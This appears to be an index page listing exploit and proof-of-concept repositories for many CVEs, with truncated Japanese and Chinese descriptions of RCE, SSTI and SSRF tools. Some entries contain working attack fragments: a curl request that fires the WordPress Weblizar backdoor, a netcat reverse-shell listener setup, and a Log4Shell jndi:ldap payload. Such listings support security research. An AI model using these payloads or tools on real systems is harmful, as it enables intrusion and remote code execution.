cve-2019-14514

CVEID : CVE-2019-14514 影響を受ける製品とバージョン : Microvirt MEmu（7.0.2より前のすべてのバージョン） 問題タイプ : CWE-78: OSコマンドに使用される特殊要素の不適切な無害化（'OSコマンドインジェクション'） 概要 MEmuはWindows向けのAndroidエミュレータです。テスト中に、root権限でコード実行を得るために悪用される可能性のある開放されたTCPポートを発見しました。 Microvirt...

CVE-2025-55182-Exploit

CVE-2025-55182 – React Server Components RCE Exploit ⚠️ 免責事項: 許可を受けたセキュリティテストおよび研究目的のみに使用してください。明示的な許可なくシステムに対して使用しないでください。 概要 これはCVE-2025-55182 React Server Components リモートコード実行の脆弱性に対する改良版のエクスプロイトスクリプトです（修正済みマルチパート版）。 帰属と貢献者 このプロジェクトは、元の概念実証（PoC）を改変したものです。以下のセキュリティ研究者の貢献に感謝します。...

Havoc-C2-SSRF-to-RCE

Havoc-C2-SSRF-to-RCE これは、@chebuya による CVE-2024-41570 SSRF PoC を、@hyperreality による認証付きRCEエクスプロイトと連結した修正版です。このエクスプロイトは、Havoc C2 Framework. の複数の脆弱性により、対象に対してリモートでコードを実行します。 https://github.com/user-attachments/assets/b75c5934-0326-4994-a695-c18bf95a1e25 root@kitploit: usage: CVE-2024-41570.py -h -t...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access および Identity Manager の SSTI を介した RCE。 CVE-2022-22954 - PoC SSTI 使用方法： root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file...

POC_CVE-2025-14700

CVE-2025-14700 CVE-2025-14700 の PoC。Crafty Controller = 4.6.1 におけるサーバーサイドテンプレートインジェクション SSTI の脆弱性です。この脆弱性により、認証済みユーザーが Webhook 設定に悪意のある Jinja2 テンプレートを注入することで、リモートコード実行 RCE を達成できます。 📦 インストール root@kitploit: Clone the repository git clone https://github.com/secdongle/POCCVE-2025-14700 cd...

CVE-2016-2098-PoC

CVE-2016-10033-PoC これはPentesterLab用に書きました PentesterLabを利用しているなら、カンニングはしないでください。自分で学ぶ方がずっと良いです。 誰かの役に立てば幸いです。将来の自分にとってもね : 対話型シェルと便利なargparse機能も備えています。 Usage root@kitploit: usage: script.py -h --url URL --param PARAM --proxy --raw --no-color script.py: error: the following arguments are required:...

CVE-2014-8731-PoC

CVE-2014-8731-PoC - PHPMemcachedAdmin リモートコード実行 もうGitHubではホストしていません。私自身のGitホスティングインスタンスで管理しています。 コードはこちらをご覧ください: https://git.sbani.net/sbani/CVE-2014-8731-PoC...

CVE-2022-1609

CVE-2022-1609 CVE-2022-1609 WordPress Weblizar バックドア curl -s -d 'blowfish=1' -d "blowf=system'id';" 'http://localhost:8888/wp-json/am-member/license' uid=33www-data gid=33www-data groups=33www-data...

CVE-2025-55182-Simple-Scanner

CVE-2025-55182: React Server Components RCE スキャナー React Server Components を使用する Next.js アプリケーションにおける重大なリモートコード実行 RCE の脆弱性 CVE-2025-55182 を検出および悪用するための包括的なツールキットです。 このリポジトリには、統合 Bash スキャナー 単一 & 大量モード、Python/Go 実装、およびバグバウンティ偵察ワークフローが含まれています。 📂 リポジトリ構成 scanner.sh — 単一ターゲットおよび大量スキャン用のオールインワン Bash スクリ...

LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050-

= doi.org/10.5281/zenodo.18278567 = orcid.org/0009-0007-7728-256X 💀 LlamaStack-RCE: CVE-2024-50050 サプライチェーンエクスプロイトフレームワーク 無制限・機密指定資料 - 認定レッドチーム専用 1. エグゼクティブサマリー（決定的解析） LlamaStack-RCE は、Meta Llama Stack における重大なリモートコード実行（RCE）脆弱性 CVE-2024-50050...

cve-2018-8389

jscript.dll - ActiveXObject BSTR - 解放後使用 脆弱性 解放されたメモリを参照すると、プログラムがクラッシュしたり、予期しない値を使用したり、コードが実行されたりする可能性があります。 脆弱性の説明 Internet Explorer...

unrealircd3.2.8.1-local-exploit

Metasploitable 3 でテスト済み 使用方法 Ruby 攻撃側のシェルで root@kitploit: nc -nlvp 1111 被害側のシェルで root@kitploit: ruby exploit.rb 127.0.0.1 攻撃側のシェルでの期待される出力 root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144 bobafett Python 被害側のシェルで root@kitploit: python3 exploit.p...

log4j2-issue-check

Log4Shellの評価: RCEゼロデイ問題 このリポジトリには、Log4j2問題 CVE-2021-44228 を評価するコードが含まれています 詳細 https://www.lunasec.io/docs/blog/log4j-zero-day/ テスト方法 クエリパラメータとして$jndi:ldap://127.0.0.1:3089/を指定したGETリクエストを送信します。 root@kitploit: http://localhost:10000/test?userParam=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D...

CVE-2024-32002

CVE-2024-32002 RCE PoC 概要 このリポジトリには、Git サブモジュールのリモートコード実行（RCE）脆弱性 CVE-2024-32002 の Proof of Concept（PoC）が含まれています。このエクスプロイトは、Git リポジトリの再帰的クローンを介して悪意のあるペイロードがどのようにトリガーされるかを示しています。 リポジトリのセットアップ PoC を実行する前に、リモート Git サーバー上に次のリポジトリを作成するか、必要に応じて名前を自由に変更してください。 hulk.git submod.git smash.git 名前を変更した場合は、Po...

CVE-2021-42362

CVE-2021-42362 WordPressのPopular Postsプラグインは、/src/Image.phpファイルで見つかった不十分な入力ファイルタイプ検証により、任意のファイルアップロードに対して脆弱であり、これにより投稿者レベルのアクセス権限を持つ攻撃者およびそれ以上の権限を持つ攻撃者が、リモートコード実行を達成するために使用できる悪意のあるファイルをアップロードすることが可能です。...

Blackash-CVE-2025-68613

🚨 CVE-2025-68613 — n8n 中的严重 RCE 漏洞 严重性： 🔴 严重 影响： 远程代码执行 受影响平台： n8n（工作流自动化） 🧩 概述 CVE-2025-68613 是 n8n （一个开源工作流自动化平台）中的一个严重安全漏洞 。 该问题允许经过身份验证的攻击者 通过滥用工作流表达式的求值方式，在服务器上执行任意代码 。 🎯 漏洞详情 类型： 表达式注入 → 远程代码执行 CWE： CWE-913 — 对动态管理的代码资源的控制不当 攻击向量： 网络 所需权限： 低（已认证用户） 用户交互： 无 影响范围： 已更改 💥 为什么危险： 恶意表达式在没有适当沙箱隔离...

springcloudRCE

springcloudRCE Spring Cloud Gateway RCE - CVE-2022-22947...

CVE-2024-32002

CVE-2024-32002 RCE PoC 概要 このリポジトリには、Git サブモジュールにおけるリモートコード実行（RCE）脆弱性である CVE-2024-32002 の Proof of Concept（PoC）が含まれています。このエクスプロイトは、悪意のあるペイロードが Git リポジトリの再帰的クローンによってどのようにトリガーされるかを示しています。 リポジトリのセットアップ PoC を実行する前に、リモート Git サーバー上に以下のリポジトリを作成してください。必要に応じて名前を変更しても構いません。 hulk.git submod.git smash.git...

Log4Shell-CVE-2021-44228-

Log4Shell CVE-2021-44228 - SOC 报告分析 概述 该仓库包含针对 Log4Shell CVE-2021-44228 的全面安全运营中心 SOC 分析，这是 2021 年发现的最关键的漏洞之一。该漏洞影响 Apache Log4j 日志库，对全球各地的组织构成极端风险。 内容 SOCREPORT.md - 完整的 SOC 分析与建议 TECHNICALANALYSIS.md - 该漏洞的深度技术剖析 REMEDIATIONGUIDE.md - 分步缓解策略 DETECTIONINDICATORS.md - IOCs（入侵指标）与检测方法...

PoC_CVE-2025-55182

Next.js React2Shell（CVE-2025-55182）エクスプロイトツール 認可されたローカルテスト環境のみ で、重大な React2Shell 脆弱性（CVE-2025-55182 / CVE-2025-66478）を実証するための概念実証（PoC）ツールです。 ⚠️ 重大な警告：活発な悪用が発生中 この脆弱性（CVSS 10.0）は、高度な脅威アクターによって活発に悪用されています。 Amazon Threat Intelligence によると、Earth Lamia や Jackpot Panda...